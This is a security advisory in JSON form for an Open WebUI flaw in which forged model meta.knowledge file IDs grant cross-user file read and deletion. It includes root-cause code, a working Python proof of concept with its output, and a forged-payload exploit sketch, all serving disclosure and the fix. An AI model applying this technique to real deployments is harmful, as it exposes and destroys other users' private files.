{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54012"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-285",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T14:15:33Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nOpen WebUI lets a user who can create, update, or import workspace models store arbitrary `meta.knowledge` entries on their model without checking whether they own or can read the referenced files. Open WebUI then treats `meta.knowledge` entries of type `file` as an authorization source in two places: the built-in `view_file` tool reads the file\u0027s extracted text, and `has_access_to_file()`\u0027s model branch authorizes the file content and file delete endpoints. A malicious model owner can therefore attach another user\u0027s file ID to their model metadata and read or delete that private file.\n\n## Impact\n\nSecurity boundary crossed: file confidentiality and integrity.\n\nAn authenticated attacker needs the `workspace.models` or `workspace.models_import` permission (or write access to an existing model) and a victim file ID. With those, for a file they do not own and cannot otherwise read, the attacker can:\n\n- read the file\u0027s extracted text (up to `100000` characters per `view_file` call from `file.data.content`),\n- read the file\u0027s content via `GET /api/v1/files/{id}/content`, and\n- delete the file via `DELETE /api/v1/files/{id}`.\n\n## Root Cause\n\n`ModelMeta` allows extra metadata fields and `ModelForm` accepts that metadata without a validator for `meta.knowledge` file access:\n\n```python\n# backend/open_webui/models/models.py\nclass ModelForm(BaseModel):\n    model_config = ConfigDict(extra=\u0027ignore\u0027)\n\n    id: str\n    base_model_id: Optional[str] = None\n    name: str\n    meta: ModelMeta\n    params: ModelParams\n```\n\nModel creation only checks the caller\u0027s model-workspace permission and then stores the form data:\n\n```python\n# backend/open_webui/routers/models.py\nif user.role != \u0027admin\u0027 and not await has_permission(\n    user.id, \u0027workspace.models\u0027, request.app.state.config.USER_PERMISSIONS, db=db\n):\n    raise HTTPException(...)\n\nmodel = await Models.insert_new_model(form_data, user.id, db=db)\n```\n\nThe insert sink persists the supplied `meta`:\n\n```python\n# backend/open_webui/models/models.py\nresult = Model(\n    **{\n        **form_data.model_dump(exclude={\u0027access_grants\u0027}),\n        \u0027user_id\u0027: user_id,\n        ...\n    }\n)\n```\n\nWhen built-in tools are assembled, `meta.knowledge` is passed through as `__model_knowledge__`, and any `file` entry enables `view_file`:\n\n```python\n# backend/open_webui/utils/tools.py\nmodel_knowledge = model.get(\u0027info\u0027, {}).get(\u0027meta\u0027, {}).get(\u0027knowledge\u0027, [])\n...\nknowledge_types = {item.get(\u0027type\u0027) for item in model_knowledge}\nif \u0027file\u0027 in knowledge_types or \u0027collection\u0027 in knowledge_types:\n    builtin_functions.append(view_file)\n```\n\n`view_file` treats matching `__model_knowledge__` file IDs as authorization, before `has_access_to_file()`:\n\n```python\n# backend/open_webui/tools/builtin.py\nif (\n    file.user_id != user_id\n    and user_role != \u0027admin\u0027\n    and not any(\n        item.get(\u0027type\u0027) == \u0027file\u0027 and item.get(\u0027id\u0027) == file_id for item in (__model_knowledge__ or [])\n    )\n    and not await has_access_to_file(...)\n):\n    return json.dumps({\u0027error\u0027: \u0027File not found\u0027})\n```\n\nThe same forged `meta.knowledge` is also trusted outside the tool path. `has_access_to_file()` iterates the caller\u0027s accessible models and returns true when a model\u0027s `meta.knowledge` contains the requested file ID:\n\n```python\n# backend/open_webui/utils/access_control/files.py\nfor model in await Models.get_models_by_user_id(user.id, permission=access_type, db=db):\n    knowledge_items = getattr(model.meta, \u0027knowledge\u0027, None) or []\n    for item in knowledge_items:\n        if isinstance(item, dict) and item.get(\u0027type\u0027) == \u0027file\u0027 and item.get(\u0027id\u0027) == file.id:\n            return True\n```\n\nThis branch is not restricted to read, so it also satisfies the `write` check that `DELETE /api/v1/files/{id}` performs. The same missing validation applies to the import path (`POST /api/v1/models/import`) and the update path, not only create.\n\n## PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVerifier for forged model meta.knowledge file entries reaching builtin tools.\n\nThe proof executes:\n  - the real Models.insert_new_model() sink with a forged meta.knowledge entry\n  - the real builtin view_file() authorization branch\n\nFake DB/model adapters are used only to avoid requiring a live Open WebUI\nserver. The security-sensitive code under test is Open WebUI application code.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport ast\nimport json\nimport os\nimport sys\nimport types\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\nREPO = Path(__file__).resolve().parents[1]\nBUILTIN_TOOLS = REPO / \"backend/open_webui/tools/builtin.py\"\n\n\ndef prepare_imports() -\u003e None:\n    sys.path.insert(0, str(REPO / \"backend\"))\n    os.environ[\"VECTOR_DB\"] = \"none\"\n\n    class DummyTyper:\n        def command(self, *args, **kwargs):\n            return lambda fn: fn\n\n    sys.modules.setdefault(\n        \"typer\",\n        types.SimpleNamespace(\n            Typer=lambda *args, **kwargs: DummyTyper(),\n            Option=lambda *args, **kwargs: None,\n            echo=lambda *args, **kwargs: None,\n            Exit=Exception,\n        ),\n    )\n    sys.modules.setdefault(\"uvicorn\", types.SimpleNamespace(run=lambda *args, **kwargs: None))\n\n\nclass FakeDb:\n    def __init__(self):\n        self.added = []\n        self.committed = False\n        self.refreshed = False\n\n    def add(self, row):\n        self.added.append(row)\n\n    async def commit(self):\n        self.committed = True\n\n    async def refresh(self, row):\n        self.refreshed = True\n\n\nclass FakeDbContext:\n    def __init__(self, db):\n        self.db = db\n\n    async def __aenter__(self):\n        return self.db\n\n    async def __aexit__(self, exc_type, exc, tb):\n        return False\n\n\nasync def verify_model_insert_accepts_victim_file(victim_file_id: str):\n    import open_webui.models.models as models_module\n\n    fake_db = FakeDb()\n    original_context = models_module.get_async_db_context\n    original_set_grants = models_module.AccessGrants.set_access_grants\n    original_to_model = models_module.Models._to_model_model\n\n    async def fake_set_access_grants(*args, **kwargs):\n        return True\n\n    async def fake_to_model(self, model, access_grants=None, db=None):\n        return SimpleNamespace(\n            id=model.id,\n            user_id=model.user_id,\n            base_model_id=model.base_model_id,\n            name=model.name,\n            params=model.params,\n            meta=model.meta,\n            access_grants=[],\n            is_active=model.is_active,\n            created_at=model.created_at,\n            updated_at=model.updated_at,\n        )\n\n    try:\n        models_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)\n        models_module.AccessGrants.set_access_grants = fake_set_access_grants\n        models_module.Models._to_model_model = types.MethodType(fake_to_model, models_module.Models)\n\n        inserted = await models_module.Models.insert_new_model(\n            models_module.ModelForm(\n                id=\"attacker-model\",\n                base_model_id=\"gpt-vision-base\",\n                name=\"Attacker Model\",\n                params={},\n                meta={\n                    \"knowledge\": [\n                        {\n                            \"id\": victim_file_id,\n                            \"type\": \"file\",\n                            \"name\": \"victim-private.txt\",\n                        }\n                    ],\n                    \"builtinTools\": {\"knowledge\": True},\n                },\n            ),\n            user_id=\"attacker\",\n        )\n    finally:\n        models_module.get_async_db_context = original_context\n        models_module.AccessGrants.set_access_grants = original_set_grants\n        models_module.Models._to_model_model = original_to_model\n\n    stored_meta = [getattr(row, \"meta\", None) for row in fake_db.added]\n    stored_knowledge_ids = [\n        item.get(\"id\")\n        for meta in stored_meta\n        for item in ((meta or {}).get(\"knowledge\") or [])\n    ]\n\n    return {\n        \"insert_returned_model\": bool(inserted),\n        \"db_commit_called\": fake_db.committed,\n        \"stored_user_ids\": [getattr(row, \"user_id\", None) for row in fake_db.added],\n        \"stored_model_ids\": [getattr(row, \"id\", None) for row in fake_db.added],\n        \"stored_knowledge_file_ids\": stored_knowledge_ids,\n    }\n\n\nasync def verify_view_file_trusts_model_knowledge(victim_file_id: str):\n    class FakeFiles:\n        looked_up_ids = []\n\n        async def get_file_by_id(self, file_id, db=None):\n            self.looked_up_ids.append(file_id)\n            if file_id == victim_file_id:\n                return SimpleNamespace(\n                    id=victim_file_id,\n                    user_id=\"victim\",\n                    filename=\"victim-private.txt\",\n                    data={\"content\": \"PRIVATE_MODEL_KNOWLEDGE_SECRET\"},\n                    created_at=1,\n                    updated_at=2,\n                )\n            return None\n\n    async def fake_has_access_to_file(file_id, access_type, user, db=None):\n        return False\n\n    class FakeUserModel:\n        def __init__(self, **kwargs):\n            self.__dict__.update(kwargs)\n\n    fake_files = FakeFiles()\n    fake_files_module = types.SimpleNamespace(Files=fake_files)\n    fake_file_acl_module = types.SimpleNamespace(has_access_to_file=fake_has_access_to_file)\n\n    original_files_module = sys.modules.get(\"open_webui.models.files\")\n    original_acl_module = sys.modules.get(\"open_webui.utils.access_control.files\")\n\n    try:\n        sys.modules[\"open_webui.models.files\"] = fake_files_module\n        sys.modules[\"open_webui.utils.access_control.files\"] = fake_file_acl_module\n\n        source = BUILTIN_TOOLS.read_text(encoding=\"utf-8\")\n        tree = ast.parse(source, filename=str(BUILTIN_TOOLS))\n        selected = [\n            node\n            for node in tree.body\n            if isinstance(node, ast.AsyncFunctionDef) and node.name == \"view_file\"\n        ]\n        if len(selected) != 1:\n            raise RuntimeError(\"could not find view_file\")\n        module = ast.Module(body=selected, type_ignores=[])\n        ast.fix_missing_locations(module)\n        ns = {\n            \"json\": json,\n            \"Optional\": __import__(\"typing\").Optional,\n            \"Request\": object,\n            \"UserModel\": FakeUserModel,\n            \"log\": SimpleNamespace(exception=lambda *args, **kwargs: None),\n            \"MAX_VIEW_FILE_CHARS\": 100_000,\n            \"DEFAULT_VIEW_FILE_MAX_CHARS\": 10_000,\n        }\n        exec(compile(module, str(BUILTIN_TOOLS), \"exec\"), ns)\n        view_file = ns[\"view_file\"]\n\n        denied_without_model_knowledge = await view_file(\n            victim_file_id,\n            __request__=SimpleNamespace(),\n            __user__={\"id\": \"attacker\", \"role\": \"user\", \"name\": \"attacker\", \"email\": \"a@example.test\"},\n            __model_knowledge__=[],\n        )\n        allowed_with_model_knowledge = await view_file(\n            victim_file_id,\n            __request__=SimpleNamespace(),\n            __user__={\"id\": \"attacker\", \"role\": \"user\", \"name\": \"attacker\", \"email\": \"a@example.test\"},\n            __model_knowledge__=[{\"id\": victim_file_id, \"type\": \"file\"}],\n        )\n    finally:\n        if original_files_module is not None:\n            sys.modules[\"open_webui.models.files\"] = original_files_module\n        else:\n            sys.modules.pop(\"open_webui.models.files\", None)\n        if original_acl_module is not None:\n            sys.modules[\"open_webui.utils.access_control.files\"] = original_acl_module\n        else:\n            sys.modules.pop(\"open_webui.utils.access_control.files\", None)\n\n    denied = json.loads(denied_without_model_knowledge)\n    allowed = json.loads(allowed_with_model_knowledge)\n    return {\n        \"file_ids_looked_up\": fake_files.looked_up_ids,\n        \"without_model_knowledge\": denied,\n        \"with_forged_model_knowledge\": allowed,\n        \"private_content_disclosed\": allowed.get(\"content\") == \"PRIVATE_MODEL_KNOWLEDGE_SECRET\",\n    }\n\n\nasync def main() -\u003e None:\n    prepare_imports()\n    victim_file_id = \"victim-private-file\"\n\n    insert_sink = await verify_model_insert_accepts_victim_file(victim_file_id)\n    tool_read = await verify_view_file_trusts_model_knowledge(victim_file_id)\n\n    result = {\n        \"confirmed\": (\n            insert_sink[\"insert_returned_model\"] is True\n            and insert_sink[\"stored_user_ids\"] == [\"attacker\"]\n            and insert_sink[\"stored_knowledge_file_ids\"] == [victim_file_id]\n            and tool_read[\"without_model_knowledge\"].get(\"error\") == \"File not found\"\n            and tool_read[\"private_content_disclosed\"] is True\n        ),\n        \"attacker_user_id\": \"attacker\",\n        \"victim_user_id\": \"victim\",\n        \"victim_file_id\": victim_file_id,\n        \"attacker_owns_file\": False,\n        \"model_insert_sink\": insert_sink,\n        \"tool_read\": tool_read,\n        \"source\": {\n            \"insert_sink\": \"backend/open_webui/models/models.py:Models.insert_new_model\",\n            \"tool_injection\": \"backend/open_webui/utils/tools.py:get_builtin_tools passes model meta.knowledge as __model_knowledge__\",\n            \"read_sink\": \"backend/open_webui/tools/builtin.py:view_file\",\n        },\n    }\n    print(json.dumps(result, indent=2, sort_keys=True))\n    if not result[\"confirmed\"]:\n        raise SystemExit(1)\n\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nThe PoC executes the real `Models.insert_new_model()` sink and the real `view_file()` authorization branch with fake database/file adapters. It first confirms that the attacker-owned model stores a forged victim file ID in `meta.knowledge`, then confirms `view_file()` denies the same victim file without model knowledge but discloses content when the forged model knowledge entry is present.\n\nResult:\n\n```json\n{\n  \"attacker_owns_file\": false,\n  \"attacker_user_id\": \"attacker\",\n  \"confirmed\": true,\n  \"model_insert_sink\": {\n    \"db_commit_called\": true,\n    \"insert_returned_model\": true,\n    \"stored_knowledge_file_ids\": [\n      \"victim-private-file\"\n    ],\n    \"stored_model_ids\": [\n      \"attacker-model\"\n    ],\n    \"stored_user_ids\": [\n      \"attacker\"\n    ]\n  },\n  \"tool_read\": {\n    \"private_content_disclosed\": true,\n    \"with_forged_model_knowledge\": {\n      \"content\": \"PRIVATE_MODEL_KNOWLEDGE_SECRET\",\n      \"filename\": \"victim-private.txt\",\n      \"id\": \"victim-private-file\"\n    },\n    \"without_model_knowledge\": {\n      \"error\": \"File not found\"\n    }\n  },\n  \"victim_file_id\": \"victim-private-file\",\n  \"victim_user_id\": \"victim\"\n}\n```\n\n## Exploit Sketch\n\n1. Attacker has permission to create or update workspace models.\n2. Attacker creates a model with:\n\n```json\n{\n  \"meta\": {\n    \"knowledge\": [\n      {\n        \"id\": \"VICTIM_FILE_ID\",\n        \"type\": \"file\",\n        \"name\": \"victim-private.txt\"\n      }\n    ],\n    \"builtinTools\": {\n      \"knowledge\": true\n    }\n  }\n}\n```\n\n3. Attacker chats with that model using native/built-in tools and invokes `view_file` for `VICTIM_FILE_ID`.\n4. The tool returns the victim file\u0027s extracted text content despite the attacker not owning or otherwise having access to the file.\n\n## Recommended Fix\n\nValidate `meta.knowledge` on every model write path: create, update, and import. For entries with `type == \"file\"`, require direct ownership, admin role, or `has_access_to_file(file_id, \u0027read\u0027, user, db=db)` before storing the entry. Validate the import payload before its surrounding try/except so a rejection surfaces as `403`, not `500`.\n\nDo not let `view_file()` treat `__model_knowledge__` as an authorization bypass; it should still enforce ownership/admin/`has_access_to_file()` per file ID. File deletion should require ownership, admin, or explicit write/delete access, not a read-derived model association.\n\n## Consolidation\n\nPer our Report Handling policy this consolidates independent reports of the same model `meta.knowledge` file-ID laundering flaw:\n\n- Read via forged `meta.knowledge` on model create, through the built-in `view_file` tool: @0xEr3n (earliest filing).\n- Distinct paths demonstrated by @5yu4n: the import endpoint (`POST /api/v1/models/import`), and cross-user read and deletion through the file API (`GET` / `DELETE /api/v1/files/{id}`) via `has_access_to_file()`\u0027s model branch.\n\nFix validates `meta.knowledge` ownership on create, update, and import; blocking the forged entry closes both read and delete. One CVE for the consolidated advisory.",
  "id": "GHSA-vjqm-6gcc-62cr",
  "modified": "2026-06-17T14:15:33Z",
  "published": "2026-06-17T14:15:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-vjqm-6gcc-62cr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: Forged model meta.knowledge allows cross-user file read and deletion"
}